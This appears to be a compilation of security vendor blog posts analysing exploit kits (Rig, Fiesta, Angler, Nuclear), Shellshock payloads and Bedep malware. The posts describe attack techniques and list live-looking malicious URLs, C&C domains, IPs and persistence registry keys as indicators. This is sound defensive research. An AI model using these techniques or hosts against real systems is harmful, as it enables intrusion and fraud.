De-obfuscating The DOM Based JavaScript Obfuscation Found In EK’s Such As Fiesta And Rig

There is little doubt that exploit kit (EK) developers are continuing to improve their techniques and are making exploit kits harder to detect. They have heavily leveraged obfuscation techniques for JavaScript and are utilizing browser functionality to their advantage. Recent exploit kits such as ‘Fiesta’ and ‘Rig’ for example, have been found to be using DOM based JavaScript obfuscation. In this blog I will demonstrate a simple approach to de-obfuscate DOM based JavaScript obfuscation.
Before we dive in, it’s important to understand the difference between older EK’s such as Blackhole and Incognito versus newer ones such as Fiesta and Rig. A key difference between them is the way they de-obfuscate code in the victim’s browser. The newer approach de-obfuscates JavaScript snippets and stores them into DOM by building an element tree. Older EK’s by contrast were heavily using JavaScript functions such as ‘eval’and ‘document.write’ to de-obfuscate the JavaScript. 
Let’s start by taking a look at a Rig EK sample. 
Rig EK page:
Heavy obfuscation of Rig EK JavaScript code
Unlike most EK’s, instead of running plugin detection code first, it instead starts by checking for the presence of Kaspersky and TrendMicro antivirus (AV) programs. If any of the AV driver files are found on the victim’s machine, the exploit execution stops. In order to check for the presence of these driver files, the EK uses the ActiveX object ‘Microsoft.XMLDOM’. The routine labeled ‘df3z’ does the inspection.
 
AV driver checking code
 Driver file information:
 Take note of the following statement,
The above value of variable ‘sdf43w’ is used later on in the JavaScript. 
 
If no AV driver for Kaspersky or TrendMicro is found on the victim’s machine, the code then initializes the de-obfuscation routine. First the Javascript creates a ‘div’ element and appends it to the DOM. The remaining JavaScript, which is heavily obfuscated contains exploit code targeting vulnerabilities for Java, Flash and SilverLight browser plug-ins.
 
First JavaScript:
Let’s take a look at the JavaScript code to understand how it’s building the DOM element tree.
 
First JavaScript
To summarize,
Function ‘alz’ concatenates a string passed to it and assigns the concatenated string to the ‘ty6’ variable. This is later used by the de-obfuscation routine. 
Element ‘dn3d’with a type of “script” is created.
De-obfuscated (final) JavaScript is assigned to the element ‘dn3d.text’.
Element ‘dn3d’is appended to the ‘document.body’ i.e into the DOM tree for later execution.
To get the de-obfuscated code for this JavaScript we need to get the value of ‘dn3d.text’. For that I added a line called ‘console.log(‘dn3d- 1: ‘ + dn3d.text)’. I am using the Google Chrome browser to complete de-obfuscation and all of the analysis is carried out in an isolated environment. To get the console logs, you need to open developer tools in Google Chrome browser.  Apart from console.log you can also leverage other JavaScript functions like ‘alert’ or ‘document.write’ to get the de-obfuscated code
.
De-obfuscated code for first JavaScript segment:
 
JavaScript Console Output
The beautified version is shown below:
 
 
Here you can see the value of ‘dn3d.text’ is a JavaScript, which is then, is added into DOM tree. This JavaScript contains function ‘dsg45’, which creates element ‘bd6’ of type ‘div’ and appends it to DOM tree and also assigns a passed value of variable ‘hgd1’ using property ‘innerHTML’ of the created element.
 
All the remaining obfuscated JavaScript is structured like the aforementioned code. The following shows the second snippet of JavaScript, which actually contains the malicious applet code.
 
Second JavaScript snippet: Exploits Java vulnerability
 
Again, I’ve added a ‘console.log’ function to get the de-obfuscated JavaScript, which later will be appended to DOM tree and will be executed.
 
De-obfuscated code for the Second JavaScript snippet:
 
Malicious Applet Code
You can see above, the malicious applet code is assigned to variable ‘jg67fgf’. This value is then passed to JavaScript function ‘dsg45’, which was appended into the DOM tree by the first JavaScript snippet (see above).
 
Similarly the remaining two JavaScript snippets are de-obfuscated using the aforementioned method.
 
De-obfuscated code for the third JavaScript snippet: Exploits Silverlight vulnerability
 
Malicious SilverLight Code
De-obfuscated code for the fourth JavaScript snippet: Exploits Flash vulnerability
 
Malicious Flash Code
To get all of the de-obfuscated code above I would normally need to conduct code analysis to find the ‘dn3d.text’ variable, which contains the de-obfuscated JavaScript code. This would require fair bit of code analysis and understanding of JavaScript and DOM. As such, I wanted to find a simple solution which would provide all of the de-obfuscated JavaScript at once. Fortunately, I was able to identify a shortcut. Since all of the de-obfuscated JavaScript is stored in DOM tree, we can crawl the DOM tree and get the element value once for all of the EK script has executed. For this, I wrote a simple JavaScript routine which I call ‘domWalkerAndDeobfuscator’. By putting this code at the end of the EK sample, we can get all the JavaScript being stored into DOM, which in turn contains the de-obfuscated code.
 
domWalkerAndDeobfuscator at the end of EK:
 
domWalkerAndDeobfuscator
‘console.log’ output after appending domWalkerAndDeobfuscator:
 
JavaScript Console Log
Malicious Applet code:
 
JavaScript Console Log
 
 
 
 
 
 
 Malicious Silverlight code:
 
JavaScript Console Log
Malicious Flash code:
 
JavaScript Console Log
My trick worked and gave me the full de-obfuscated code of the Rig EK sample. This increased my curiosity and tried the same ‘domWalkerAndDeobfuscator’ on the Feista exploit kit sample.
  
Fiesta EK:
 
Fiesta EK
De-obfuscated code obtained from ‘domWalkerAndDeobfuscator’ through console.log for Feista EK:
 
JavaScript Console Log
The Feista EK also contains exploit code for Java, Flash and SilverLight plugins.
 
Adding a simple DOM walker (crawler) script made the job easy of de-obfuscating DOM based obfuscated EK far easier. I’ve tested the approach with samples of Rig and Fiesta so far and every time was able to get the de-obfuscated code in seconds instead of doing the heavy lifting required for manual analysis.
 
Conclusion: Previously with older EK’s it was easy to de-obfuscate the code using many online tools and with manual analysis, but due to the introduction of DOM based obfuscation techniques the difficulty has increased. Many tools are failing to de-obfuscate the code for newer EK samples. Fortunately, the approach of walking the DOM solved the issue in seconds. 
 
Pradeep

Link: https://www.zscaler.com/blogs/research/de-obfuscating-dom-based-javascript-obfuscation-found-eks-such-fiesta-and-rig

ActiveX Vulnerabilities – Threat To Web Security

 
As I mentioned in my earlier blog, phishing is a never-ending threat for web security. Another threat for web users is the rise in the ActiveX vulnerabilities. These are very easy to exploit as there is a great deal of information available including vulnerability details, proof-of-concept exploits, etc. freely available on the Internet. ActiveX controls can be automatically downloaded and executed by Internet Explorer (with user acceptance) when viewing a web page or installed as part of a larger application. Basically, ActiveX controls have various properties and methods, which can lead to exploitation if they have not been properly coded. If someone were to find a vulnerable property or method in an ActiveX control, it is not be difficult to create a working exploit and host it on a web server. If the vulnerable control is marked ‘safe for scripting’ it can then be remotely called and exploited by a malicious web site.
Numerous buffer overflows and file overwrite vulnerabilities have been found in ActiveX controls over the past few years and working exploits are available for many of them. Using a heap spray technique, which is a popular method for reliably injecting shell code into memory, the vulnerable control can be successfully exploited by the attacker. He simply needs to host the working exploit somewhere on a web server under his control and divert a victim to visit the site. If the vulnerable ActiveX control is present on the victim’s machine, the victim will be compromised silently in the background and the vulnerability could allow remote code execution or arbitrary file overwrite. The attacker could then download and install additional malware or malicious programs.
A few months back, a vulnerability was found in Snapshot Viewer for Microsoft Access (MS08-041) that can be leveraged to download and save files to arbitrary locations on an affected system. As noted in a Symantec blog post, because this particular ActiveX control was signed by Microsoft, attackers were able to force installation/exploitation of the control without any user interaction. Web attacking toolkits like Mpack, Neospolit, etc. found in the wild are exploiting a number of such critical ActiveX vulnerabilities.
Due to the ease of exploitation with vulnerable ActiveX controls, attackers are widely using them as a popular attack vector. Heap spray code is very easy to work with and can be seen in many attacks involving ActiveX exploits. This gives the attacker the power to easily change the shellcode to whatever is required. He can then host the exploit code on the webpage and convince victims to visit the Web site, typically by getting them to click a link in an HTML e-mail link. ActiveX vulnerabilities are rising every day and people are posting exploit code on public web sites. A quick search on Securityfocus will reveal the latest ActiveX vulnerabilities as shown below:
 
Gone are the days when attackers were targeting server side vulnerabilities to compromise systems. Now, they are focused on targeting end users, via the web browser. A combination of heap spray and obfuscation used in the exploits makes it difficult to detect the attacks using automated means. Certainly, the rise in the use of ActiveX vulnerabilities and exploits posted on the web makes them a real threat for web security. Setting up a kill bit is the only option if the vulnerability is not patched and you do not have updated antivirus signatures. The Kill-Bit is a registry key for a particular CLSID that marks the COM object / ActiveX control referenced by that CLSID as non-loadable in the browser and other scriptable environments. Setting a Kill-Bit for the control marks that particular control as forbidden to instantiate in the browser. You can do this by modifying the data value of the Compatibility Flags DWORD value for the CLSID of the ActiveX control. Here is the link from Microsoft on how to set a kill bit for a given control:
http://support.microsoft.com/kb/240797
That’s it for now.
Umesh
 
 

Link: https://www.zscaler.com/blogs/research/activex-vulnerabilities-threat-web-security

Adobe Flash “SWF” Exploit Still In The Wild.

A vulnerability reported in Adobe Flash in April 2011 (CVE-2011-0611) continues to be targeted. When first reported, the vulnerability was widely exploited by embedding a “.swf” file into Microsoft Office documents/html pages. Adobe issued patch for this vulnerability soon after it was reported, but the vulnerability remains a popular target.
Source of hxxp://220.181.23.217/baike/mhxy.html :
This exploit code embeds a “nb.swf” flash file into a webpage, which is then executed by the Adobe Flash player object initialized using classid “d27cdb6e-ae6d-11cf-96b8-444553540000”. When the page is being loaded, the malicious “nb.swf” file is downloaded from the URL “http://220.181.23.217/baike/nb.swf”.
Execution of “nb.swf” leads to memory corruption in Flash Player, which allows execution of arbitrary shellcode, which is passed as an input parameter.
Shellcode:
The Virustotal report for “nb.swf” shows it is a Trojan Downloader, used to deliver additional malware to the infected machine.
 
Flash and other browser plugins remain a popular target for attackers, even for known vulnerabilities that have been patched for some time. This is because attackers know that plugins regularly remain unpatched for some time. The chart below details the most outdated browser plugins seen by Zscaler during Q3 2011. As can be seen, about 7% of all browsers that we see with Flash Player installed, are running an outdated and potentially vulnerable version of the software. Other plugins present are even more frightening targets.
Be sure you update your plugins regularly!
Pradeep

Link: https://www.zscaler.com/blogs/research/adobe-flash-swf-exploit-still-wild

#BASHed Evolution Of Shellshock Attack Payloads

Background
We recently blogged about the GNU Bash arbitrary code execution vulnerability (CVE-2014-6271) dubbed as Shellshock and covered some initial attacks that we captured in the wild during the first week of this vulnerability disclosure. We have continued to monitor the Shellshock exploit attacks and the malicious payloads that were getting dropped over past two weeks.
In this blog, we wanted to share a summary of new exploit attacks and new tricks that cybercriminals have deployed to increase the chances of infection.
Shellshock Attack analysis
The first attack, as reported in our previous blog, involved download and installation of a Linux Backdoor Trojan with DDoS capability detected by us as Unix/Flooder.AN.
Here the attack pattern was straight forward, if the bash exploit was successful then a malware payload was getting downloaded and installed.
Perl IRC bots
Next we saw a series of exploit attempts where a Perl based IRC bot was getting downloaded and executed on the target server. We will share two sample cases here.
In the first case, we saw a Base64 encoded Perl based IRC bot getting downloaded, decoded and executed on the target machine.
 
 
Shellshock exploit downloading Perl IRC bot
 
 
 
Base64 encoded Perl IRC bot
In the second case, we saw another Perl IRC bot getting downloaded and executed with a command-line argument which is the IRC server IP.
 
 
 
Shellshock exploit downloading Perl IRC bot
 
 
 
Perl IRC bot
The attacker performs following action here before downloading and running the bot:
 
 
Terminate all the PHP and PERL instances running on the server.
Attempts to delete all the content in the /tmp/ and /var/tmp/ directory.
Avoids hardcoding the Command and Control server IP in the bot file that gets downloaded.
Things became more interesting after this when we started seeing attacks involving tricks to add stealth and persistence to the infection. We also saw tricks used to prevent any further exploit attempts on the server by attempting to apply security patches to the server once the exploit infection was successful.
Linux.Tsunami C source code
In the attack case shown below, a bash script gets downloaded and executed on the target server upon successful exploit attempt.
 
 
 
Shellshock exploit downloading C IRC bot
 
 
 
Shell script payload downloaded upon successful exploit
The shell script will perform the following actions:
 
 
Downloads an IRC bot written in C programming language
Attempts to compile the C bot program using gcc compiler on the victim server
Executes the newly generated ELF IRC bot binary
Creates a crontab entry to download and infect the system on a weekly basis
This is a way of establishing persistence, even if the system administrator identifies and removes the culprit file the system will again get infected when the cronjob triggers. The attacker is also transferring a plain-text file as oppose to an ELF binary in an attempt to evade network perimeter defenses.
Linux.Tsunami ELF binary
In the most recent case, the attacker first ensures that the current bash session does not get recorded to the history file. It then also involved a shell script getting downloaded and executed on the target server as seen below:
 
 
 
Shellshock exploit attempt downloading Linux.Tsunami
 
 
 
Shell script payload downloaded upon successful exploit
The shell script will perform the following actions:
 
 
Downloads and executes a new variant of Linux.Tsunami DDoS bot
Create crontab entry to ensure future update and persistence
Attempts to download and patch the Bash vulnerability in an attempt to prevent new infections from competitors?
Uses shred command before deleting itself (downloaded shell script)
shred command Overwrite the specified FILE(s) repeatedly, in order to make it harder for even very expensive hardware probing to recover the data.
Conclusion
We have seen a quick evolution in the Shellshock exploit attack payloads that can be broadly classified into following categories:
 
 
Persistence – achieved by creating cronjob.
Evasion – payload Base64 encoding (Perl bot) and plain-text C source code transfer.
Stealth – prevents recording of bash session history, usage of shred and rm commands.
Competitive Advantage – removing other exploit payloads, installing new payload and applying security patches to prevent further exploit & infection attempts.
It is extremely important for the system administrators to test if their server is vulnerable and apply appropriate security patches as described in our previous blog. It is also important to check for the indicators of compromise mentioned in the above attack cases.
Zscaler customers are protected from this threat and the associated malware payloads. Zscaler ThreatLabZ is actively monitoring this threat and associated attacks in the wild.
 

Link: https://www.zscaler.comhttps://www.zscaler.com/blogs/research/bashed-evolution-shellshock-attack-payloads

Malvertising Leading To Flash Zero Day Via Angler Exploit Kit

UPDATE [01/25/2015]: Adobe released an update yesterday (APSA15-01) for CVE-2015-0311 that fixes the zero day exploit mentioned in this blog. Given the number of exploit attempts we are seeing for this vulnerability in the wild, it is critical for users to update the Adobe Flash player to the latest version 16.0.0.296.
Background
Earlier this week, Kafeine published a blog mentioning an Angler Exploit Kit (EK) instance serving a possible zero day Adobe Flash exploit payload. The ThreatLabZ Research Team reviewed Angler Exploit Kit activity across the cloud and were able to identify multiple instances of Angler Exploit Kit hosting sites serving a new Adobe Flash payload that is able to exploit the latest Flash Player version 16.0.0.257.  [Adobe released a patch (APSB15-02) for CVE-2015-0310 today and we can confirm that the patch does not prevent exploitation of the 0day discussed in this blog. The latest version 16.0.0.287 is still vulnerable and is being actively exploited in the wild.]
Upon further investigation, we discovered that this appears to be yet another case of a Malvertising campaign leading unsuspecting users to Angler EK instances. Upon successful exploitation, we observed a new variant of the Bedep Trojan getting dropped and executed on the victim machine. We tested this on a Windows 7 64-bit system and the payload dropped was a 64-bit Bedep Trojan variant which generated a high volume of AdFraud traffic from the infected system.
The affected advertising networks found in this case were:
oneclickads.net
adcash.com
Infection Cycle
The infection cycle involves users visiting a legitimate site that displays certain advertisements from the compromised advertising networks, which will redirect them to an Angler EK hosting site and begin the exploit cycle. If the exploit is successful, a new variant of Bedep Trojan gets downloaded in an encrypted form and installed on the target system.
The entire infection cycle occurs silently in the background and is completely transparent to the end user.
 
The exploit page has the title “Welcome to new site" and is comprised of 220 hidden input elements, followed by three inline scripts.
 
 
The first script code snippet is obfuscated with block comment text (ie: /* random text */), but also appears purposefully broken for multiple JavaScript engines. Looking at the code, there are multiple period characters inserted throughout the script which leads to syntax errors at runtime:
 
 
The second script code snippet calls a function in the first script leading to "eval" and resulting in JavaScript code that performs Browser plugin detection:
 
 
 
The third script code snippet drew our attention, as it is not obfuscated and simply loads an SWF object. This script serves the Adobe Flash 0-day and it is interesting to note that the script will only execute if the earlier script has thrown an error. The flash payload is only triggered if a variable defined in the first script is undefined:
 
Successful exploitation will result in download of the Bedep Trojan payload that appears to be encrypted using an incremental XOR technique.
Malware Payload activity – Bedep Trojan
The malware payload dropped is a 64-bit DLL belonging to Bedep Trojan family.  This malware family is known to download additional malware. It is also responsible for generating AdFraud and ClickFraud activity from the infected system.
File: neth.dll
Size: 219608
MD5: EFB584DEA6CBC03765487633BD5A5920
Compiled: Wed, Nov 28 2007, 15:51:15  – 64 Bit DLL
Version: 5.3.3790.3959 (srv03_sp2_rtm.070216-1710)
It drops a copy of itself at the following locations:
C:\ProgramData\{9A88E103-A20A-4EA5-8636-C73B709A5BF8}\neth.dll
C:\Users\All Users\{9A88E103-A20A-4EA5-8636-C73B709A5BF8}\neth.dll
It creates the following registry entries to achieve persistence in a discreet manner:
HKLM\SOFTWARE\Classes\CLSID\{F6BF8414-962C-40FE-90F1-B80A7E72DB9A}\InprocServer32\: "C:\ProgramData\{9A88E103-A20A-4EA5-8636-C73B709A5BF8}\neth.dll"
HKLM\SOFTWARE\Classes\CLSID\{F6BF8414-962C-40FE-90F1-B80A7E72DB9A}\InprocServer32\ThreadingModel: "Apartment"
HKU\S-USERID-1000_Classes\CLSID\{F6BF8414-962C-40FE-90F1-B80A7E72DB9A}\InprocServer32\: "C:\ProgramData\{9A88E103-A20A-4EA5-8636-C73B709A5BF8}\neth.dll"
HKU\S-USERID-1000_Classes\CLSID\{F6BF8414-962C-40FE-90F1-B80A7E72DB9A}\InprocServer32\ThreadingModel: "Apartment"
This ensures that it runs in the context of system process "explorer.exe":
 
It appears to determine the infected system’s timezone and location by connecting to "earthtools.org", however we noticed that it is not able to supply the latitude and longitude parameters in the request, essentially resulting in getting back UTC date and time information.
It employs a Domain Generation Algorithm technique to hide the actual Command & Control server as seen below:
 
 
 
 We found the following two C&C domains registered in past 48 hours:
 
gaabbezrezrhe1k.com
wzrdirqvrh07.com
It attempts to connect to these Command & Control servers to report the infection and receive further instructions. It presumably gets a list of ClickFraud tasking servers, following which we started seeing high volume of ClickFraud activity.
 
 
 
Conclusion
This is the first 0Day Adobe Flash Player exploit for year 2015 and not surprisingly, we are seeing it getting served through a malvertising campaign. The fact that the end malware payload getting served in this case is also involved in AdFraud activity leads us into believing that this campaign appears to be from a gang indulging in ClickFraud and AdFraud activity.
Zscaler ThreatLabZ has deployed multiple layers of protection against this threat to ensure that the customers are protected.
Analysis by Deepen Desai & John Mancuso
 

Link: https://www.zscaler.comhttps://www.zscaler.com/blogs/research/malvertising-leading-flash-zero-day-angler-exploit-kit

Exploit Kits: Anatomy Of A Silverlight Exploit

With the significant adoption of Silverlight technology in today’s market, it has become one of the popular targets for the hacker community. We have observed many popular exploit kits (EKs) like Nuclear and Fiesta, serving specially crafted exploits targeting Silverlight vulnerabilities. Recently, we blogged about the Nuclear Exploit kit live infection cycle, which was leveraging Silverlight vulnerabilities to infect the victim’s computer. In this blog, we will take a look at the Silverlight exploit payloads and how they are embedded in the Exploit kit.
A Silverlight file is a zip archive with an “.xap" extension and it is written in the .NET language. This XAP file contains a list of one or more .NET managed assemblies (.DLL files) along with the AppManifest.XAML file.
We have observed that Exploit kits are generally targeting following Silverlight vulnerabilities:
CVE-2013-0074: Memory Dereference Arbitrary Code Execution Vulnerability.
This vulnerability is due to an improper boundary checking of the user supplied input which leads to arbitrary code execution.
CVE-2013-3896: Information (memory) disclosure Vulnerability
By exploiting this vulnerability an unauthorized attacker can gain access to the sensitive information. This bug is used to bypass the exploit mitigation technologies.
The following is a typical infection cycle involving Silverlight exploits in EKs:
 
 
 
Dissection of the Infection Cycle and Silverlight Exploit:
 
As we discussed in our previous blog, the landing page of the Nuclear Exploit kit is heavily obfuscated to evade Anti-virus detection. The function highlighted below is invoking the Silverlight exploit:
 
 
As we stepped through the deobfuscated code, we found that the exploit author has implemented multiple unused variables to possibly confuse analysts. We saw a parameter named “tuti” which contains the base64 encoded data that decodes the shellcode.
 
 
Upon successful execution of the silver_run() function, the Exploit kit will download a malicious XAP file with the following GET request.
 
 
The downloaded XAP exploit consists of three files as shown below.
 
 
The AppManifest.xaml file contains the deployment details needed to run the Silverlight application. The first element of it starts with a deployment node which defines the Assembly information, Runtime version, Application Entry point and the assembly extension parts. In this file, There is an attribute called ‘RuntimeVersion’ through which we can target a specific version of Silverlight. There are two other important attributes, namely EntryPointAssembly & EntryPointType which are mainly used for loading the XAP file.
 
 
Reverse engineering the .NET DLL file is straightforward, because it is MSIL (Microsoft Intermediate Language) and there are multiple tools at our disposal. We used the Telerik JustDecompile tool to decompile the DLL. The following screenshot shows us the list of the classes used by the asdgsd.dll.
 
The screenshot below shows the entry point routine asdgsd.App. The constructor of asdgsd.App is used to call the shlyapa class.
 
 
The following activity is performed by the shlyapa class which attempts to exploit multiple silverlight vulnerabilities:
Get the .NET run time environment version and store it in the “mild” variable.
Get the base64 encoded stream from aforementioned “tuti” parameter and store it in “brae” variable and invoke the "dips" function.
In parallel, the function “lout” generates the “numArray” leveraging  class “chaiki”.
  
    Function "lout" generates the "BitmapImage" instance by calling function "game" from "alupka" 
 
 
 
 
The function "huts" is leveraging CVE 2013-3896 (A memory disclosure vulnerability in the public WritableBitMap class) to calculate the base-address of "mscorlib.ni.dll" as seen below:
        
 
 
 
 
 
 
 
 
Finally, the "dips" function executes the "spca" function that takes the base-address of "mscorlib.ni.dll" as an argument. The "spca" function is triggering CVE-2013-0074 (Dereference Vulnerability during HTML object rendering) as shown below:
 
The following is a sample of live Nuclear Exploit Kit domains that we have seen in past 24 hours:
 
Nuclear EK Domains 
indyresident[.]gq
macropromise[.]ml
hybridvertex[.]gq
macropromise[.]ga
uthunilaej[.]co[.]vu
daviddaniel[.]cf
brightrolling[.]ml
culturemerge[.]ga
 
Conclusion:
We continue to see the Silverlight vulnerabilities mentioned in this blog being exploited by many other popular exploit kits. Zscaler is actively monitoring and protecting end users against this threat.
Credit for Analysis & Guidance : Dhruval Gandhi
 
 
 

Link: https://www.zscaler.comhttps://www.zscaler.com/blogs/research/exploit-kits-anatomy-silverlight-exploit

Ongoing Angler Exploit Kit And Bedep Fraud Campaign

In our recent post covering CVE-2015-0311, two of the Command and Control (C&C) domains used in the Domain Generation Algorithm (DGA), mapped back to the same Server IP address – 46.105.251.1. They were also using the same nameservers for resolution:
ns1.regway.com
ns2.regway.com
We took a closer look at the domains using these nameservers and found a distinct correlation between the C&C servers being used in this and other, possibly unrelated campaigns. In the past month, we’ve tracked over 70 domains involved in malware C&C or other malicious activity involving Click Fraud & Ransomware campaigns. These domains were registered via “Domain Context" and use "Regway.com" nameservers for resolution.
To recap, we saw the initial binary was executed via the CVE-2015-0311 exploit, which then attempted resolution of multiple domains that were generated through a DGA:
 
 
Below is partial whois information for the two domains that resolved at that time:
 
 
Taking a closer look at these domains, we noticed that they share some commonalities, specifically their nameservers and IPs:
 
Comparison of C2 Domains
Domain
IP
Observed Method
Registrar
Creation Date
Contact
Nameserver(s)
gaabbezrezrhe1k.com
46.105.251.1
POST /
domaincontext
2015-01-19
contact @privacyprotect.org
ns1.regway.com, ns2.regway.com
wzrdirqvrh07.com
46.105.251.1
POST /
domaincontext
2015-01-21
yingw90 @yahoo.com
ns1.regway.com, ns2.regway.com
Taking a look at other domains registered around that time via "Domain Context" by ‘yingw90@yahoo.com’ and also utilizing "regway.com" for resolution, we find the following 39 domains:
aslfnsdifhsfdsa.com
avzxpjvrndi6g.com
bnxjgqotkqaftj.com
cavnplxhlwjzld.com
dtnvleoidsncuz7i.com
ggrdyqtlgdbpkkjf0e.com
gqzrdawmmvaalpevd0.com
grqtnsmqveprdc8f.com
jacafyfugdnvoov.com
jdioermutrealo.com
jxouhxclhzdlwa1d.com
jzkebkiznfttde.com
kdioqw873-kioas.com
koslnotreamouyer.com
krbewsoiitaciki2s.com
mcoihsopejaue.com
mlhxqydhcjqvei.com
nertafopadertam.com
noieutrabchpowewa.com
nwlxjqxstxclgngbw7.com
nyrtazolas.com
piragikolos.com
pndrdbgijushci.com
qhmbdzygdevxk0m.com
qvllupuqjknz5.com
roppsanaukpovtrwl.com
rwermezqpnf4.com
tuchrtwsabl7b.com
uowcvvknkrtipj.com
vsdylqjfrdqaxzyd.com
vucjunrhckgaiyae.com
vxmsrlsanrcilyb7o.com
vxuiweipowe92j.com
xgihfqovzurg8.com
xmoqu38hasdf0opw.com
xqirefjyjkcn7u.com
yoksfffhvizk8z.com
yyfaimjmocdu.com
zmbkfrdpnaec.com
Looking at the same time period for domains registered through "Domain Context", using "Privacy Protect", and using "regway.com" for resolution, we find an additional 32 domains, which also seem to fit the general theme of a DGA:
394iopwekmcopw.com
agdedopribili.com
asop83uyteramxop.com
balamodaevi.com
cawnqrvbmfgfysdb.com
deertraefople.com
gpsnypbnygqidxj.com
gurtgusinoi.com
gypqlkwgkmzapx33.com
iludyamdostaetsya.com
iqjlyjxplidpbbpuh.com
istinuskazat.com
itdlwcwonkhjrxlzuh.com
jddhbxrssjgqlsr.com
jyjhsvgkpeni0g.com
kbazarnomuondnu.com
kosnetsyanetolko.com
muzhikgusei.com
nabarishispeshil.com
neochenvezhlivo.com
predlinnoihvorostinoi.com
prodavatipravdu.com
retravopoytem.com
sokgtxioqzxvuksf1.com
tamgusyam.com
tuzlynlyvrbrdhrpx.com
vpsbxfdyphdykmlct.com
xnanomailing.com
yamuzhikainevenu.com
ytpliogapddu5.com
zhcjrjolbeuiylkyzx.com
zoidpyjhij36.com
The vast majority of these domains were resolving to Bedep’s C&C servers. The following is a POST request to a C&C server from a Bedep infected system containing base64 encoded data:
 
However, some of the domains are being used in other seemingly unrelated malicious campaigns. For example the domain ‘xmoqu38hasdf0opw.com’ was identifed by Kafeine as hosting a Reveton ransom page. 
Other domains being used to monetize Bedep infections via click fraud include:
394iopwekmcopw.com/ads.php
394iopwekmcopw.com/r.php?key=41c7eed67784325bb935f2b6543ff37d
asop83uyteramxop.com/ads.php?sid=1910
asop83uyteramxop.com/r.php?key=c8a0293dce08d582ca645449d849543d
koslnotreamouyer.com/ads.php?sid=1905
koslnotreamouyer.com/r.php?key=666fe962677224b1799919a70c7c2c9e
And the following domains are intermediaries hosting encrypted files:
kosnetsyanetolko.com/slwsbpetw.eqmh
kdioqw873-kioas.com/asdfsfsdf1.php
nertafopadertam.com/2/showthread.php
nyrtazolas.com/1/search.php
piragikolos.com/asdfsfsdf1.php
Unfortunately, there are several different IPs in use on various ASNs:
 
C2 IP Information
IP
Netblock
ASN
46.105.251.1
46.105.0.0/16 OVH ISPOVH_65488197 OVH Static IP
AS16276
5.135.16.201
5.135.0.0/16AS16276FR-OVH-20120706 OVH SAS
AS16276
94.23.204.16
94.23.0.0/16 OVH ISPOVH OVH SAS Dedicated Servers
AS16276
5.196.196.149
5.196.196.0/22AS197890FR-OVH-20120823 OVH SAS
AS16276
46.105.251.0
46.105.0.0/16 OVH ISPOVH_65488197 OVH Static IP
AS16276
37.187.76.177
37.187.0.0/16 OVHOVH OVH SAS Dedicated servers
AS16276
206.222.13.164
206.222.0.0/19 RR-RC-Enet-ColumbusEE3-DOM
AS10297
23.105.135.219
23.105.128.0/1923.104.0.0/13Route for Nobis Technology Group, LLCNETBLK-NOBIS-TECHNOLOGY-GROUP-18
AS15003
23.105.135.218
23.105.128.0/1923.104.0.0/13Route for Nobis Technology Group, LLCNETBLK-NOBIS-TECHNOLOGY-GROUP-18
AS15003
151.80.95.8
151.80.0.0/16151.80.0.0/17 OVHIUNET-BNET80 OVH SAS
AS1267
80.82.70.104
80.82.70.0/24 AS29073 Route objectNL-ECATEL-20100816 Ecatel LTD
AS29073
79.143.82.203
79.143.80.0/22Redstation LimitedRSDEDI-KBPNNOIL Dedicated Server Hosting
AS35662
79.143.80.42
79.143.80.0/2279.143.80.0/24Proxy-registered route objectRSDEDI-IBOBAPEP Dedicated Server Hosting
AS35662
217.23.12.145
217.23.0.0/20WORLDSTREAM-BLK-217-23-0-0WORLDSTREAM WorldStream IPv4.19
AS49981
173.224.126.29
173.224.112.0/20Hosting Solutions InternationalHSI-3
AS30083
173.224.126.19
173.224.112.0/20Hosting Solutions InternationalHSI-3
AS30083
50.30.36.1
50.30.32.0/20Hosting Solutions InternationalHSI-4
AS30083
209.239.115.228
209.239.112.0/20209.239.115.0/24Proxy-registered routeHSI-2
AS30083
 
Conclusions
Attackers continue to move away from single IPs and small IP pools, preferring to distribute the infrastructure across multiple netblocks. This ensures their infrastructure is more resilient to blocks and takedown attempts allowing the attackers to continue to profit from compromised devices. Likewise, if a registrar or nameserver with poor reputation is found, specific actors will continue to leverage them until mitigations are put in place. 

Link: https://www.zscaler.comhttps://www.zscaler.com/blogs/research/ongoing-angler-exploit-kit-and-bedep-fraud-campaign

Angler Exploit Kit Utilizing 302 Cushioning And Domain Shadowing

Overview
Angler Exploit Kit is one of the most prevalent and advanced exploit kits in use today and is continually evolving. Angler continues to utilize malvertising to push landing pages and malicious actors are still registering domains solely for serving exploits, but recently, we’ve noticed an increase in two new infection vectors – 302 Cushioning and Domain Shadowing.
302 Cushioning, or a ‘cushion attack’, is used to redirect victims to malicious sites without the use of more traditional techniques, such as hidden iframes or external ‘script src’ tags. The attackers are using HTTP 302 redirects over iframes here to evade detection by traditional signature-based IDS/IPS engines. This technique is not new and was discussed back in 2013. Domain shadowing, a term coined by Cisco, involves compromising the parent domain and creating multiple sub-domains that point to malicious code. This means that in the majority of cases, a victim’s hosting account credentials are compromised. These sub-domains can be created and deleted quickly, making this an attractive technique for bypassing domain and URL blocklists.
These developments are notable since they show an evolving approach to exploit delivery. Angler has long used obfuscation and encryption on landing pages and payloads Combined with cushioning and domain shadowing, Angler adds yet another layer of stealth for defenders to counter.
 
Exploit Cycles
The exploit cycle typically starts with compromised websites followed by a 302 Cushioning attack & Domain Shadowing leading to an Exploit Kit hosting site as seen below:
Fig 1: Exploit cycle seen during these attacks
Direct exploitation, as shown below, happens immediately when accessing the compromised site.
 
 
Fig 2: Wireshark showing direct path to exploit
The full cycle from victim site to successful exploitation is shown in the annotated Fiddler screenshot below.
 
Fig 3: Full sample exploit cycle
Session 2 (above) corresponds to the initial 302 cushion upon accessing the victim site (detailed in Fig 2). Session 3 contains a small block of code (Fig 4 below) to initiate session 4. Session 4 302’s to the actual Angler landing page in session 5.
 
Fig 4: Initiate session 4 via top.location.replace
Note that the sub-domain changes between sessions 4 and 5:
 
Fig 5: Sub-domain change for landing page
Indirect exploitation is similar to the direct exploitation method described above, but occurs after a domain is accessed that utilizes remotely hosted content. Once the content is accessed, there is a similar 302 cushion to the exploit domain.
 
Fig 6: 302 cushion from intermediary domain
 
Fig 7: Domain graph showing indirect exploitation
Landing Page Analysis
The landing page for Angler is typical, with a substantial amount of randomized code and whitespace, but scrolling to the bottom reveals that there are multiple strings delimited with ‘3~4’ and the split function is declared toward the top of the page.
 
Fig 8: Split function for 3~4
 
Fig 9: Delimited string simply uses fromCharCode
This is followed by an ‘eval’ of the variable ‘kzfzSU’ which contains the deobfuscated code:
 
Fig 10: eval(deobfuscated code)
Taking a look at the deobfuscated code, there are several structures that are consistent with well-known exploits being served, including functions for ‘flash_run’ and ‘GetSLV’:
 
